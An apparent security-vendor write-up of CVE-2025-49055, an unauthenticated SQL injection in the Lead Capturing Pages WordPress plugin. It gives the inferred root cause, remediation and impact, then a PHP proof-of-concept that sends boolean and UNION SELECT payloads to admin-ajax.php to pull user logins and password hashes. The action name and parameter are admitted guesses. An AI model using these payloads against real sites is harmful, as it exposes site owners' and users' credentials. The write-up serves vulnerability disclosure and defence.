Atomic Edge analysis of CVE-2025-49055 (metadata-based):
This vulnerability is an unauthenticated SQL injection in the Lead Capturing Pages WordPress plugin. The flaw exists in a public-facing component, allowing attackers to inject arbitrary SQL commands via a user-supplied parameter. The CVSS score of 7.5 (High) reflects the attack’s network accessibility, low complexity, and high impact on confidentiality.
Atomic Edge research infers the root cause is improper query construction. The description cites insufficient escaping and lack of preparation. This indicates the plugin likely used user input directly in an SQL query string without using WordPress’s `$wpdb->prepare()` method. The vulnerable code path is public, lacking authentication or nonce verification. These conclusions are inferred from the CWE-89 classification and the vulnerability description, as source code is unavailable.
Exploitation likely targets a WordPress AJAX handler or a direct plugin file. Attackers send crafted HTTP requests to an endpoint like `/wp-admin/admin-ajax.php`. The `action` parameter may contain a value like `wp_lead_capture_action`. Another request parameter contains SQL injection payloads such as a single quote (`’`) to trigger errors, or a UNION SELECT to extract data. A typical payload would append `’ UNION SELECT user_login,user_pass FROM wp_users–` to the vulnerable parameter.
Remediation requires implementing proper input validation and prepared statements. The plugin must use the WordPress `$wpdb` class and its `prepare()` method to construct all SQL queries. User input must be validated for expected type and length. The vulnerable endpoint should also include a capability check or a nonce to verify intent, though the primary fix is securing the SQL query.
Successful exploitation leads to full database compromise. Attackers can extract sensitive information including WordPress user credentials (hashed passwords), personally identifiable information from custom tables, and other plugin data. This data exposure can facilitate further attacks like password cracking or site takeover. The vulnerability does not directly allow privilege escalation or remote code execution, according to the CVSS vector.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-49055 - Lead Capturing Pages <= 2.5 - Unauthenticated SQL Injection
<?php
$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';
// Assumption: The vulnerability is in a public AJAX handler.
// The 'action' parameter likely follows WordPress pattern 'wp_lead_capture_*'.
// A specific parameter (e.g., 'id', 'email') is vulnerable to SQLi.
$post_data = [
'action' => 'wp_lead_capture_submit', // Inferred action name
'email' => "test' OR '1'='1", // Example payload for boolean-based blind SQLi
// Alternative payload for error-based extraction:
// 'id' => "-1' UNION SELECT 1,2,3,user_login,user_pass,6,7 FROM wp_users-- -",
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Useful for debugging
curl_setopt($ch, CURLOPT_VERBOSE, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Code: $http_coden";
echo "Response Length: " . strlen($response) . "n";
// In a real test, parse response for SQL errors or data exfiltration.
echo "Response Preview:n" . substr($response, 0, 500) . "n";
?>
